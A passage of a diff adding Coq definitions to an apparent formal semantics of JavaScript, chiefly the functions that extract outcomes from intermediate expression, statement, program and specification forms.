+  | spec_function_proto_apply_get_args_3 : value -> specret (list value) -> ext_spec 
+
+  (* Length for Function.prototype.bind *)
+
+  | spec_function_proto_bind_length   : object_loc -> list value -> ext_spec
+  | spec_function_proto_bind_length_1 : object_loc -> list value -> ext_spec
+  | spec_function_proto_bind_length_2 : list value -> out -> ext_spec
+  | spec_function_proto_bind_length_3 : specret int -> list value -> ext_spec
+
+  (* Conversion for Array.prototype.join *)
+
+  | spec_call_array_proto_join_vtsfj : object_loc -> int -> ext_spec
+  | spec_call_array_proto_join_vtsfj_1 : object_loc -> out -> ext_spec
+  | spec_call_array_proto_join_vtsfj_2 : object_loc -> out -> ext_spec
+  | spec_call_array_proto_join_vtsfj_3 : out -> ext_spec
+.
+
+(** Coercions *)
+
+Coercion expr_basic : expr >-> ext_expr.
+Coercion stat_basic : stat >-> ext_stat.
+Coercion prog_basic : prog >-> ext_prog.
+
+
+(** Shorthand for calling toPrimitive without prefered type *)
+
+Definition spec_to_primitive_auto v :=
+  spec_to_primitive v None.
+
+
+(**************************************************************)
+(** ** Extracting outcome from an extended expression. *)
+
+(** Auxiliary definition for extracting [out] of [specret] *)
+
+Definition out_of_specret T (y:specret T) :=
+  match y with
+  | specret_out o => Some o
+  | specret_val _ _ => None
+  end.
+
+(** The [out_of_ext_*] family of definitions is used by
+    the generic abort rule, which propagates exceptions,
+    and divergence, break and continues. *)
+
+Definition out_of_ext_expr (e : ext_expr) : option out :=
+  match e with
+  | expr_basic _ => None
+
+  | expr_identifier_1 y => out_of_specret y   
+  | expr_object_0 o _ => Some o
+  | expr_object_1 _ _ => None
+  | expr_object_2 _ _ _ _ => None
+  | expr_object_3_val _ _ y _ => out_of_specret y
+  | expr_object_3_get _ _ o _ => Some o
+  | expr_object_3_set _ _ o _ => Some o
+  | expr_object_4 _ _ _ _ => None
+  | expr_object_5 _ _ o => Some o
+
+
+
+
+  (* _ARRAYS_ : support for array intermediate forms - CHECK!*)
+  | expr_array_0 o _ => Some o
+  | expr_array_1 _ _ => None
+  | expr_array_2 _ _ _ => None
+  | expr_array_3 _ _ _ => None
+  | expr_array_3_1 _ y _ _ => out_of_specret y
+  | expr_array_3_2 _ _ o _ _ => Some o
+  | expr_array_3_3 _ _ y _ _ => out_of_specret y
+  | expr_array_3_4 _ _ o _ => Some o
+  | expr_array_3_5 _ o _ => Some o
+  
+
+  | expr_array_add_length   _ _ o => Some o
+  | expr_array_add_length_0 _ _ => None
+  | expr_array_add_length_1 _ _ o => Some o 
+  | expr_array_add_length_2 _ y _ => out_of_specret y
+  | expr_array_add_length_3 _ y => out_of_specret y
+  | expr_array_add_length_4 _ o => Some o
+
+
+
+
+
+  | expr_function_1 _ _ _ _ _ o => Some o
+  | expr_function_2 _ _ o => Some o
+  | expr_function_3 _ o => Some o
+
+  | expr_access_1 y _ => out_of_specret y
+  | expr_access_2 _ y => out_of_specret y
+  | expr_access_3 _ o _ => Some o
+  | expr_access_4 _ o => Some o
+
+  | expr_new_1 y _ => out_of_specret y
+  | expr_new_2 _ y => out_of_specret y  
+
+  | expr_call_1 o _ _ => Some o
+  | expr_call_2 _ _ _ y => out_of_specret y
+  | expr_call_3 _ _ _ y => out_of_specret y  
+  | expr_call_4 _ _ _ _ => None
+  | expr_call_5 _ _ _ o => Some o
+
+  | spec_eval _ _ _ => None
+
+  | expr_unary_op_1 _ y => out_of_specret y
+  | expr_unary_op_2 _ _ => None
+  | expr_delete_1 o => Some o
+  | expr_delete_2 _ => None
+  | expr_delete_3 _ o => Some o
+  | expr_delete_4 _ _ => None
+  | expr_typeof_1 o => Some o
+  | expr_typeof_2 y => out_of_specret y
+  | expr_prepost_1 _ o => Some o
+(*  | expr_prepost_2 _ _ o => Some o *)
+
+  | expr_prepost_2 _ _ y => out_of_specret y
+
+  | expr_prepost_3 _ _ o => Some o
+  | expr_prepost_4 _ o => Some o
+  | expr_unary_op_neg_1 o => Some o
+  | expr_unary_op_bitwise_not_1 y => out_of_specret y
+  | expr_unary_op_not_1 o => Some o
+  | expr_conditional_1 y _ _ => out_of_specret y
+  | expr_conditional_1' o _ _ => None
+  | expr_conditional_2 y => out_of_specret y
+
+  | expr_binary_op_1 _ y _ => out_of_specret y
+  | expr_binary_op_2 _ _ y => out_of_specret y
+  | expr_binary_op_3 _ _ _ => None
+  | expr_binary_op_add_1 y => out_of_specret y
+  | expr_binary_op_add_string_1 y => out_of_specret y
+  | expr_puremath_op_1 _ y => out_of_specret y
+  | expr_shift_op_1 _ y _ => out_of_specret y
+  | expr_shift_op_2 _ _ y => out_of_specret y
+  | expr_inequality_op_1 _ _ _ _ => None
+  | expr_inequality_op_2 _ _ y => out_of_specret y
+  | expr_binary_op_in_1 _ o => Some o
+  | expr_binary_op_disequal_1 o => Some o
+  | spec_equal _ _ => None
+  | spec_equal_1 _ _ _ _ => None
+  | spec_equal_2 _ => None
+  | spec_equal_3 _ _ _ => None
+  | spec_equal_4 _ o => Some o
+  | expr_bitwise_op_1 _ y _ => out_of_specret y
+  | expr_bitwise_op_2 _ _ y => out_of_specret y
+  | expr_lazy_op_1 _ y _ => out_of_specret y
+  | expr_lazy_op_2 _ _ o _ => Some o
+  | expr_lazy_op_2_1 y => out_of_specret y
+
+  | expr_assign_1 o _ _ => Some o
+  | expr_assign_2 _ y _ _ => out_of_specret y
+  | expr_assign_3 _ _ _ y => out_of_specret y
+  | expr_assign_3' _ o => Some o
+  | expr_assign_4 _ y => out_of_specret y
+  | expr_assign_5 _ o => Some o
+
+  | spec_to_primitive _ _ => None
+  | spec_to_boolean _ => None
+  | spec_to_number _ => None
+  | spec_to_number_1 o => Some o
+  | spec_to_integer _ => None
+  | spec_to_integer_1 o => Some o
+  | spec_to_string _ => None
+  | spec_to_string_1 o => Some o
+  | spec_to_object _ => None
+
+  | spec_check_object_coercible _ => None
+
+  | spec_eq _ _ => None
+  | spec_eq0 _ _ => None
+  | spec_eq1 _ _ => None
+  | spec_eq2 _ _ _ => None
+
+  | spec_object_get _ _ => None
+  | spec_object_get_1 _ _ _ _ => None
+  | spec_object_get_2 _ y => out_of_specret y
+  | spec_object_get_3 _ _ => None
+
+  | spec_object_can_put _ _ => None
+  | spec_object_can_put_1 _ _ _ => None
+  | spec_object_can_put_2 _ _ y => out_of_specret y
+  | spec_object_can_put_4 _ _ _ => None
+  | spec_object_can_put_5 _ y => out_of_specret y
+  | spec_object_can_put_6 _ _ => None
+
+  | spec_object_put _ _ _ _ => None
+  | spec_object_put_1 _ _ _ _ _ _ => None
+  | spec_object_put_2 _ _ _ _ _ o => Some o
+  | spec_object_put_3 _ _ _ _ _ y => out_of_specret y
+  | spec_object_put_4 _ _ _ _ _ y => out_of_specret y
+  | spec_object_put_5 o => Some o
+
+  | spec_object_has_prop _ _ => None
+  | spec_object_has_prop_1 _ _ _ => None
+  | spec_object_has_prop_2 y => out_of_specret y
+
+  | spec_object_delete _ _ _ => None
+  | spec_object_delete_1 _ _ _ _ => None
+  | spec_object_delete_2 _ _ _ y => out_of_specret y
+  | spec_object_delete_3 _ _ _ _ => None
+
+  | spec_object_default_value _ _ => None
+  | spec_object_default_value_1 _ _ _ => None
+  | spec_object_default_value_2 _ _ _ => None
+  | spec_object_default_value_3 _ _ => None
+  | spec_object_default_value_4 => None
+  | spec_object_default_value_sub_1 _ _ _ => None
+  | spec_object_default_value_sub_2 _ o _ => Some o
+  | spec_object_default_value_sub_3 o _ => Some o
+
+  | spec_object_define_own_prop _ _ _ _ => None
+  | spec_object_define_own_prop_1 _ _ _ _ _ => None
+  | spec_object_define_own_prop_2 _ _ _ _ y => out_of_specret y
+  | spec_object_define_own_prop_3 _ _ _ _ _ _ => None
+  | spec_object_define_own_prop_4 _ _ _ _ _ => None
+  | spec_object_define_own_prop_5 _ _ _ _ _ => None
+  | spec_object_define_own_prop_6a _ _ _ _ _ => None
+  | spec_object_define_own_prop_6b _ _ _ _ _ => None
+  | spec_object_define_own_prop_6c _ _ _ _ _ => None
+  | spec_object_define_own_prop_reject _ => None
+  | spec_object_define_own_prop_write _ _ _ _ _ => None
+
+
+
+  (* ARRAYS *)
+  | spec_object_define_own_prop_array_2 _ _ _ _ y => out_of_specret y
+  | spec_object_define_own_prop_array_2_1 _ _ _ _ _ _ => None
+  | spec_object_define_own_prop_array_branch_3_4 _ _ _ _ _ y => out_of_specret y
+  | spec_object_define_own_prop_array_branch_4_5 _ _ _ _ _ _ => None
+  | spec_object_define_own_prop_array_branch_4_5_a _ _ y _ _ _ _ => out_of_specret y
+  | spec_object_define_own_prop_array_branch_4_5_b _ _ _ o _ _ _ _ => Some o
+  | spec_object_define_own_prop_array_4a _ _ _ _ _ _ => None
+  | spec_object_define_own_prop_array_4b _ _ y _ _ _ _ => out_of_specret y
+  | spec_object_define_own_prop_array_4c _ _ _ _ _ _ o => Some o
+  | spec_object_define_own_prop_array_5 _ _ _ _ => None
+  | spec_object_define_own_prop_array_3 _ _ _ _ _ => None
+  | spec_object_define_own_prop_array_3c _ _ y _ _ _ _ => out_of_specret y
+  | spec_object_define_own_prop_array_3d_e _ o _ _ _ _ _ => Some o
+  | spec_object_define_own_prop_array_3f_g _ _ _ _ _ _ => None
+  | spec_object_define_own_prop_array_3h_i _ _ _ _ _ _ => None
+  | spec_object_define_own_prop_array_3j _ _ _ _ _ _ _ => None
+  | spec_object_define_own_prop_array_3k_l _ o _ _ _ _ _ _ => Some o
+  | spec_object_define_own_prop_array_3l _ _ _ _ _ _ => None
+  | spec_object_define_own_prop_array_3l_ii _ _ _ _ _ _ => None
+  | spec_object_define_own_prop_array_3l_ii_1 _ _ _ _ _ _ o => Some o
+  | spec_object_define_own_prop_array_3l_ii_2 _ _ _ _ _ _ o => Some o
+  | spec_object_define_own_prop_array_3l_iii_1 _ _ _ _ _ => None
+  | spec_object_define_own_prop_array_3l_iii_2 _ _ _ _ => None
+  | spec_object_define_own_prop_array_3l_iii_3 _ _ _ => None
+  | spec_object_define_own_prop_array_3l_iii_4 _ _ o => Some o
+  | spec_object_define_own_prop_array_3m_n _ _ => None
+
+  | spec_prim_value_get _ _ => None
+  | spec_prim_value_get_1 _ _ o => Some o
+
+  | spec_prim_value_put _ _ _ _ => None
+  | spec_prim_value_put_1 _ _ _ _ o => Some o
+
+  | spec_put_value _ _ => None
+
+
+  | spec_env_record_has_binding _ _ => None
+  | spec_env_record_has_binding_1 _ _ _ => None
+  | spec_env_record_get_binding_value _ _ _ => None
+  | spec_env_record_get_binding_value_1 _ _ _ _ => None
+  | spec_env_record_get_binding_value_2 _ _ _ o => Some o
+
+  | spec_env_record_create_immutable_binding _ _ => None
+  | spec_env_record_initialize_immutable_binding _ _ _ => None
+  | spec_env_record_create_mutable_binding _ _ _ => None
+  | spec_env_record_create_mutable_binding_1 _ _ _ _ => None
+  | spec_env_record_create_mutable_binding_2 _ _ _ _ o => Some o
+  | spec_env_record_create_mutable_binding_3 o => Some o
+  | spec_env_record_set_mutable_binding _ _ _ _ => None
+  | spec_env_record_set_mutable_binding_1 _ _ _ _ _ => None
+  | spec_env_record_delete_binding _ _ => None
+  | spec_env_record_delete_binding_1 _ _ _ => None
+
+  | spec_env_record_create_set_mutable_binding _ _ _ _ _ => None
+  | spec_env_record_create_set_mutable_binding_1 o _ _ _ _ => Some o
+
+  | spec_env_record_implicit_this_value _ => None
+  | spec_env_record_implicit_this_value_1 _ _ => None
+
+  | spec_from_descriptor y => out_of_specret y
+  | spec_from_descriptor_1 _ o => Some o
+  | spec_from_descriptor_2 _ _ o => Some o
+  | spec_from_descriptor_3 _ _ o => Some o
+  | spec_from_descriptor_4 _ _ o => Some o
+  | spec_from_descriptor_5 _ _ o => Some o
+  | spec_from_descriptor_6 _ o => Some o
+
+
+  | spec_entering_eval_code _ _ _ => None
+  | spec_entering_eval_code_1 _ _ _ => None
+  | spec_entering_eval_code_2 o _ => Some o
+
+  | spec_call_global_eval _ _ => None
+  | spec_call_global_eval_1 _ _ => None
+  | spec_call_global_eval_2 _ => None
+  | spec_call_global_eval_3 o => Some o
+
+  | spec_entering_func_code _ _ _ _ => None
+  | spec_entering_func_code_1 _ _ _ _ _ _ => None
+  | spec_entering_func_code_2 _ _ _ o _ => Some o
+  | spec_entering_func_code_3 _ _ _ _ _ _ => None
+  | spec_entering_func_code_4 o _ => Some o
+
+  | spec_binding_inst_formal_params _ _ _ _ => None
+  | spec_binding_inst_formal_params_1 _ _ _ _ _ _ o => Some o
+  | spec_binding_inst_formal_params_2 _ _ _ _ _ _ o => Some o
+  | spec_binding_inst_formal_params_3 _ _ _ _ _ _ => None
+  | spec_binding_inst_formal_params_4 _ _ _ _ o => Some o
+  | spec_binding_inst_function_decls _ _ _ _ _ => None
+  | spec_binding_inst_function_decls_1 _ _ _ _ _ _ o => Some o
+  | spec_binding_inst_function_decls_2 _ _ _ _ _ _ _ o => Some o
+  | spec_binding_inst_function_decls_3 _ _ _ _ _ _ y => out_of_specret y
+  | spec_binding_inst_function_decls_3a _ _ _ _ _ _ _ => None
+  | spec_binding_inst_function_decls_4 _ _ _ _ _ _ _ o => Some o
+  | spec_binding_inst_function_decls_5 _ _ _ _ _ _ _ => None
+  | spec_binding_inst_function_decls_6 _ _ _ _ _ o => Some o
+  | spec_binding_inst_arg_obj   object_loc _ _ _ _ => None
+  | spec_binding_inst_arg_obj_1 _ _ _ o => Some o
+  | spec_binding_inst_arg_obj_2 _ _ _ o => Some o
+  | spec_binding_inst_var_decls _ _ _ _ => None
+  | spec_binding_inst_var_decls_1 _ _ _ _ _ o => Some o
+  | spec_binding_inst_var_decls_2 _ _ _ _ o => Some o
+  | spec_binding_inst _ _ _ _ => None
+  | spec_binding_inst_1 _ _ _ _ _ => None
+  | spec_binding_inst_2 _ _ _ _ _ _ o => Some o
+  | spec_binding_inst_3 _ _ _ _ _ _ => None
+  | spec_binding_inst_4 _ _ _ _ _ _ _ o => Some o
+  | spec_binding_inst_5 _ _ _ _ _ _ _ => None
+  | spec_binding_inst_6 _ _ _ _ _ _ _ o => Some o
+  | spec_binding_inst_7 _ _ _ o => Some o
+  | spec_binding_inst_8 _ _ _ => None
+  
+  | spec_make_arg_getter _ _ => None
+  | spec_make_arg_setter _ _ => None
+  
+  | spec_args_obj_get_1 _ _ _ _ y => out_of_specret y
+  
+  
+  | spec_args_obj_define_own_prop_1 _ _ _ _ _ y => out_of_specret y
+  | spec_args_obj_define_own_prop_2 _ _ _ _ _ _ o => Some o
+  | spec_args_obj_define_own_prop_3 _ _ _ _ _ o => Some o
+  | spec_args_obj_define_own_prop_4 _ _ _ _ _ => None
+  | spec_args_obj_define_own_prop_5 o => Some o
+  | spec_args_obj_define_own_prop_6 => None
+  
+  | spec_args_obj_delete_1 _ _ _ _ y => out_of_specret y
+  | spec_args_obj_delete_2 _ _ _ _ _ o => Some o
+  | spec_args_obj_delete_3 o => Some o
+  | spec_args_obj_delete_4 _ => None
+  
+  | spec_arguments_object_map _ _ _ _ _ => None
+  | spec_arguments_object_map_1 _ _ _ _ _ o => Some o
+  | spec_arguments_object_map_2 _ _ _ _ _ _ _ _ => None
+  | spec_arguments_object_map_3 _ _ _ _ _ _ _ _ o => Some o
+  | spec_arguments_object_map_4 _ _ _ _ _ _ _ _ _ => None
+  | spec_arguments_object_map_5 _ _ _ _ _ _ _ _ _ o => Some o
+  | spec_arguments_object_map_6 _ _ _ _ _ _ _ _ _ o => Some o
+  | spec_arguments_object_map_7 _ _ _ _ _ _ _ _ o => Some o
+  | spec_arguments_object_map_8 _ _ _  => None
+
+
+  | spec_create_arguments_object _ _ _ _ _ => None
+  | spec_create_arguments_object_1 _ _ _ _ _ _ o => Some o
+  | spec_create_arguments_object_2 _ _ _ o => Some o
+  | spec_create_arguments_object_3 _ _ _ o => Some o
+  | spec_create_arguments_object_4 _ o => Some o
+
+  | spec_object_has_instance _ _ => None
+  | spec_object_has_instance_1 _ _ _ => None
+  | spec_function_has_instance_1 _ o => Some o
+  | spec_function_has_instance_2 _ _ => None
+  | spec_function_has_instance_3 _ _ => None
+  | spec_function_has_instance_after_bind_1 _ _ => None
+  | spec_function_has_instance_after_bind_2 _ _ => None 
+
+  | spec_function_get_1 _ _ o => Some o
+
+  | spec_error _ => None
+  | spec_error_1 o => Some o 
+  | spec_error_or_cst _ _ _ => None
+  | spec_error_or_void _ _ => None
+
+  | spec_init_throw_type_error => None
+  | spec_init_throw_type_error_1 o => Some o
+
+  | spec_build_error _ _ => None
+  | spec_build_error_1 _ _ => None
+  | spec_build_error_2 _ o => Some o
+
+  | spec_new_object _ => None
+  | spec_new_object_1 o _ => Some o
+
+  | spec_prim_new_object _ => None
+
+  | spec_creating_function_object_proto _ => None
+  | spec_creating_function_object_proto_1 _ o => Some o
+  | spec_creating_function_object_proto_2 _ _ o => Some o
+
+  | spec_creating_function_object _ _ _ _ => None
+  | spec_creating_function_object_1 _ _ o => Some o
+  | spec_creating_function_object_2 _ _ o => Some o
+  | spec_creating_function_object_3 _ o => Some o
+  | spec_creating_function_object_4 _ o => Some o
+
+  | spec_function_proto_apply _ _ _ => None
+  | spec_function_proto_apply_1 _ _ _ o => Some o  
+  | spec_function_proto_apply_2 _ _ _ y => out_of_specret y
+  | spec_function_proto_apply_3 _ _ y => out_of_specret y
+
+  | spec_function_proto_bind_1 _ _ _ => None 
+  | spec_function_proto_bind_2 _ _ _ => None 
+  | spec_function_proto_bind_3 _ y => out_of_specret y 
+  | spec_function_proto_bind_4 _ _ => None 
+  | spec_function_proto_bind_5 _ => None
+  | spec_function_proto_bind_6 _ o => Some o 
+  | spec_function_proto_bind_7 _ o => Some o
+
+  | spec_create_new_function_in  execution_ctx _ _ => None
+
+  | spec_call _ _ _ => None
+  | spec_call_1 _ _ _ _ => None
+
+  | spec_call_prealloc _ _ _ => None
+
+  | spec_call_default _ _ _ => None
+  | spec_call_default_1 _ => None
+  | spec_call_default_2 _ => None
+  | spec_call_default_3 o => Some o
+
+  | spec_construct _ _ => None
+  | spec_construct_1 _ _ _ => None
+
+  | spec_construct_prealloc _ _ => None
+
+  | spec_construct_default _ _ => None
+  | spec_construct_default_1 _ _ o => Some o
+  | spec_construct_default_2 _ o => Some o
+
+  | spec_construct_1_after_bind _ _ _ => None
+
+  | spec_construct_bool_1 o => Some o
+
+  | spec_construct_number_1 o => Some o
+
+  | spec_call_global_is_nan_1 o => Some o
+  | spec_call_global_is_finite_1 o => Some o
+
+  | spec_call_object_call_1 _ _ => None
+  | spec_call_object_new_1 _ => None
+  | spec_call_object_get_proto_of_1 _ => None
+  | spec_call_object_is_extensible_1 _ => None
+
+  | spec_call_object_define_props_1 _ _ => None
+  | spec_call_object_define_props_2 o _ => Some o
+  | spec_call_object_define_props_3 _ _ _ _ => None
+  | spec_call_object_define_props_4 o _ _ _ _ _ => Some o
+  | spec_call_object_define_props_5 _ _ _ _ _ y => out_of_specret y
+  | spec_call_object_define_props_6 _ _ => None
+  | spec_call_object_define_props_7 o _ _ => Some o
+
+  | spec_call_object_create_1 _ _ => None
+  | spec_call_object_create_2 o _ _ => Some o
+  | spec_call_object_create_3 _ _ => None
+
+  | spec_call_object_seal_1 _ => None
+  | spec_call_object_seal_2 _ _ => None
+  | spec_call_object_seal_3 _ _ _ y => out_of_specret y
+  | spec_call_object_seal_4 _ _ o => Some o
+
+  | spec_call_object_is_sealed_1 _ => None
+  | spec_call_object_is_sealed_2 _ _ => None
+  | spec_call_object_is_sealed_3 _ _ y => out_of_specret y
+
+  | spec_call_object_freeze_1 _ => None
+  | spec_call_object_freeze_2 _ _ => None
+  | spec_call_object_freeze_3 _ _ _ y => out_of_specret y
+  | spec_call_object_freeze_4 _ _ _ _ => None
+  | spec_call_object_freeze_5 _ _ o => Some o
+
+  | spec_call_object_is_frozen_1 _ => None
+  | spec_call_object_is_frozen_2 _ _ => None
+  | spec_call_object_is_frozen_3 _ _ y => out_of_specret y
+  | spec_call_object_is_frozen_4 _ _ _ => None
+  | spec_call_object_is_frozen_5 _ _ _ => None
+
+
+  | spec_call_object_prevent_extensions_1 _ => None
+
+  | spec_call_object_define_prop_1 _ _ _ => None
+  | spec_call_object_define_prop_2 _ o _ => Some o
+  | spec_call_object_define_prop_3 _ _ y => out_of_specret y
+  | spec_call_object_define_prop_4 _ o => Some o
+
+  | spec_call_object_get_own_prop_descriptor_1 _ _ => None
+  | spec_call_object_get_own_prop_descriptor_2 _ o => Some o
+
+  | spec_call_object_proto_to_string_1 _ => None
+  | spec_call_object_proto_to_string_2 o => Some o
+
+  | spec_call_object_proto_has_own_prop_1 o _ => Some o
+  | spec_call_object_proto_has_own_prop_2 o _ => Some o
+  | spec_call_object_proto_has_own_prop_3 y => out_of_specret y
+
+  | spec_call_object_proto_is_prototype_of_2_1 _ _ => None
+  | spec_call_object_proto_is_prototype_of_2_2 o _ => Some o
+  | spec_call_object_proto_is_prototype_of_2_3 _ _ => None
+  | spec_call_object_proto_is_prototype_of_2_4 _ _ => None
+
+  | spec_call_object_proto_prop_is_enumerable_1 _ _ => None
+  | spec_call_object_proto_prop_is_enumerable_2 _ o => Some o
+  | spec_call_object_proto_prop_is_enumerable_3 o _ => Some o
+  | spec_call_object_proto_prop_is_enumerable_4 y => out_of_specret y
+
+  | spec_call_array_new_1 _ => None
+  | spec_call_array_new_2 _ _ => None
+  | spec_call_array_new_3 _ _ _ => None
+
+  | spec_call_array_new_single_1 _ => None
+  | spec_call_array_new_single_2 _ _ => None
+  | spec_call_array_new_single_3 _ _ y => out_of_specret y
+  | spec_call_array_new_single_4 _ _ => None
+  
+  | spec_call_array_is_array_1 _ => None
+  | spec_call_array_is_array_2_3 _ => None
+
+  | spec_call_array_proto_join   o _ => Some o 
+  | spec_call_array_proto_join_1 _ o _ => Some o 
+  | spec_call_array_proto_join_2 _ y _ => out_of_specret y
+  | spec_call_array_proto_join_3 _ _ _ => None
+  | spec_call_array_proto_join_4 _ _ o => Some o
+  | spec_call_array_proto_join_5 _ _ _ y => out_of_specret y
+
+  | spec_call_array_proto_join_elements _ _ _ _ _ => None
+  | spec_call_array_proto_join_elements_1 _ _ _ _ _ => None
+  | spec_call_array_proto_join_elements_2 _ _ _ _ _ y => out_of_specret y
+
+  | spec_call_array_proto_to_string o => Some o
+  | spec_call_array_proto_to_string_1 _ o => Some o
+
+  | spec_call_array_proto_pop_1 o => Some o
+  | spec_call_array_proto_pop_2 _ o => Some o
+  | spec_call_array_proto_pop_3 _ y  => out_of_specret y
+  | spec_call_array_proto_pop_3_empty_1 _ => None
+  | spec_call_array_proto_pop_3_empty_2 o => Some o
+  | spec_call_array_proto_pop_3_nonempty_1 _ _ => None
+  | spec_call_array_proto_pop_3_nonempty_2 _ o => Some o
+  | spec_call_array_proto_pop_3_nonempty_3 _ _ o => Some o
+  | spec_call_array_proto_pop_3_nonempty_4 _ _ _ o => Some o
+  | spec_call_array_proto_pop_3_nonempty_5 _ o => Some o
+
+  | spec_call_array_proto_push_1 o _ => Some o
+  | spec_call_array_proto_push_2 _ _ o => Some o
+  | spec_call_array_proto_push_3 _ _ y => out_of_specret y
+  | spec_call_array_proto_push_4 _ _ _ => None
+  | spec_call_array_proto_push_4_nonempty_1 _ _ _ _ => None
+  | spec_call_array_proto_push_4_nonempty_2 _ _ _ _ o => Some o
+  | spec_call_array_proto_push_4_nonempty_3 _ _ _ _ o => Some o
+  | spec_call_array_proto_push_5 _ _ => None
+  | spec_call_array_proto_push_6 _ o => Some o
+
+  | spec_call_string_non_empty o => Some o 
+
+  | spec_construct_string_1 _ => None
+  | spec_construct_string_2 o => Some o
+
+  | spec_call_bool_proto_to_string_1 o => Some o
+  | spec_call_bool_proto_value_of_1 _ => None
+  | spec_call_bool_proto_value_of_2 _ => None
+
+  | spec_call_number_proto_to_string_1 _ _ => None
+  | spec_call_number_proto_to_string_2 _ o => Some o
+  | spec_call_number_proto_value_of_1 _ => None
+
+  | spec_call_error_proto_to_string_1 _ => None
+  | spec_call_error_proto_to_string_2 _ o => Some o
+  | spec_call_error_proto_to_string_3 _ o => Some o
+  | spec_call_error_proto_to_string_4 _ _ o => Some o
+  | spec_call_error_proto_to_string_5 _ _ o => Some o
+  | spec_call_error_proto_to_string_6 _ _ o => Some o
+
+  | spec_returns o => Some o
+  end.
+
+Definition out_of_ext_stat (p : ext_stat) : option out :=
+  match p with
+  | stat_expr_1 (specret_out o) => Some o
+  | stat_expr_1 (specret_val _ _) => None
+  | stat_basic _ => None
+
+  | stat_block_1 o _ => Some o
+  | stat_block_2 _ o => Some o
+
+  | stat_label_1 _ o => Some o
+
+  | stat_var_decl_1 o _ => Some o
+  | stat_var_decl_item _ => None
+  | stat_var_decl_item_1 _ y _ => out_of_specret y
+  | stat_var_decl_item_2 _ _ y => out_of_specret y
+  | stat_var_decl_item_3 _ o => Some o
+
+  | stat_if_1 y _ _ => out_of_specret y
+
+  | stat_while_1 _ _ _ _ => None
+  | stat_while_2 _ _ _ _ y => out_of_specret y
+  | stat_while_3 _ _ _ _ o => Some o
+  | stat_while_4 _ _ _ _ _ => None
+  | stat_while_5 _ _ _ _ _ => None
+  | stat_while_6 _ _ _ _ _ => None
+
+  | stat_do_while_1 _ _ _ _ => None
+  | stat_do_while_2 _ _ _ _ o => Some o
+  | stat_do_while_3 _ _ _ _ _ => None
+  | stat_do_while_4 _ _ _ _ _ => None
+  | stat_do_while_5 _ _ _ _ _ => None
+  | stat_do_while_6 _ _ _ _ => None
+  | stat_do_while_7 _ _ _ _ y => out_of_specret y
+
+  | stat_for_1 _ y _ _ _ => out_of_specret y
+  | stat_for_2 _ _ _ _ _ => None
+  | stat_for_3 _ _ _ y _ _ => out_of_specret y
+  | stat_for_4 _ _ _ _ _ => None
+  | stat_for_5 _ _ _ o _ _ => Some o
+  | stat_for_6 _ _ _ _ _ _ => None
+  | stat_for_7 _ _ _ _ _ _ => None
+  | stat_for_8 _ _ _ _ _ => None
+  | stat_for_9 _ _ _ _ y _ => out_of_specret y
+  | stat_for_var_1 o _ _ _ _ => Some o
+
+  | stat_with_1 _ y => out_of_specret y
+
+  | stat_throw_1 y => out_of_specret y
+
+  | stat_return_1 y => out_of_specret y
+
+  | stat_try_1 o _ _ => Some o
+  | stat_try_2 o _ _ _ => Some o
+  | stat_try_3 o _ => Some o
+  | stat_try_4 _ _ => None
+  | stat_try_5 _ o => Some o
+
+  | stat_switch_1 y _ _ => out_of_specret y
+  | stat_switch_2 o _ => Some o
+  | stat_switch_nodefault_1 _ _ _=> None
+  | stat_switch_nodefault_2 y _ _ _ _  => out_of_specret y
+  | stat_switch_nodefault_3 _ _ _ _ _ => None
+  | stat_switch_nodefault_4 o _ => Some o
+  | stat_switch_nodefault_5 _ _ => None
+  | stat_switch_nodefault_6 _ o _ => Some o
+
+  | stat_switch_default_1 _ _ _ _ _ => None
+  | stat_switch_default_A_1 _ _ _ _ _ _ => None 
+  | stat_switch_default_A_2 y _ _ _ _ _ _ => out_of_specret y
+  | stat_switch_default_A_3 _ _ _ _ _ _ _  => None
+  | stat_switch_default_A_4 _ _ _ _ _ _ => None
+  | stat_switch_default_A_5 _ o _ _ _ _ => Some o
+  | stat_switch_default_B_1 _ _ _ _ => None
+  | stat_switch_default_B_2 y _ _ _ _ _ => out_of_specret y
+  | stat_switch_default_B_3 _ _ _ _ _ _ => None
+  | stat_switch_default_B_4 o _ _ => Some o
+
+  | stat_switch_default_5 _ _ _ _ => None
+  | stat_switch_default_6 o _ => Some o 
+  | stat_switch_default_7 _ _  => None
+  | stat_switch_default_8 _ o _ => Some o
+
+  end.
+
+Definition out_of_ext_prog (p : ext_prog) : option out :=
+  match p with
+  | prog_basic _ => None
+  | javascript_1 o _ => Some o
+  | prog_1 o _ => Some o
+  | prog_2 _ o => Some o
+
+  end.
+
+Definition out_of_ext_spec (es : ext_spec) : option out :=
+  match es with
+  | spec_to_int32 _ => None
+  | spec_to_int32_1 o => Some o
+  | spec_to_uint32 _ => None
+  | spec_to_uint32_1 o => Some o
+  | spec_expr_get_value_conv _ _ => None
+  | spec_expr_get_value_conv_1 _ y => out_of_specret y
+  | spec_expr_get_value_conv_2 o => Some o
+  | spec_convert_twice _ _ => None
+  | spec_convert_twice_1 o _ => Some o
+  | spec_convert_twice_2 _ o => Some o
+  | spec_list_expr _ => None
+  | spec_list_expr_1 _ _ => None
+  | spec_list_expr_2 _ y _ => out_of_specret y
+  | spec_to_descriptor _ => None
+  | spec_to_descriptor_1a _ _ => None
+  | spec_to_descriptor_1b o _ _ => Some o
+  | spec_to_descriptor_1c o _ _ => Some o
+  | spec_to_descriptor_2a _ _ => None
+  | spec_to_descriptor_2b o _ _ => Some o
+  | spec_to_descriptor_2c o _ _ => Some o
+  | spec_to_descriptor_3a _ _ => None
+  | spec_to_descriptor_3b o _ _ => Some o
+  | spec_to_descriptor_3c o _ _ => Some o
+  | spec_to_descriptor_4a _ _ => None
+  | spec_to_descriptor_4b o _ _ => Some o
+  | spec_to_descriptor_4c o _ _ => Some o
+  | spec_to_descriptor_5a _ _ => None
+  | spec_to_descriptor_5b o _ _ => Some o
+  | spec_to_descriptor_5c o _ _ => Some o
+  | spec_to_descriptor_6a _ _ => None
+  | spec_to_descriptor_6b o _ _=> Some o
+  | spec_to_descriptor_6c o _ _ => Some o
+  | spec_to_descriptor_7 _ _ => None
+  | spec_object_get_own_prop _ _ => None
+  | spec_object_get_own_prop_1 _ _ _ => None
+  | spec_object_get_own_prop_2 _ _ _ => None
+  | spec_object_get_prop _ _ => None
+  | spec_object_get_prop_1 _ _ _ => None
+  | spec_object_get_prop_2 _ _ y => out_of_specret y
+  | spec_object_get_prop_3 _ _ _ => None
+  | spec_get_value _ => None
+  | spec_get_value_ref_b_1 o => Some o
+  | spec_get_value_ref_c_1 o => Some o
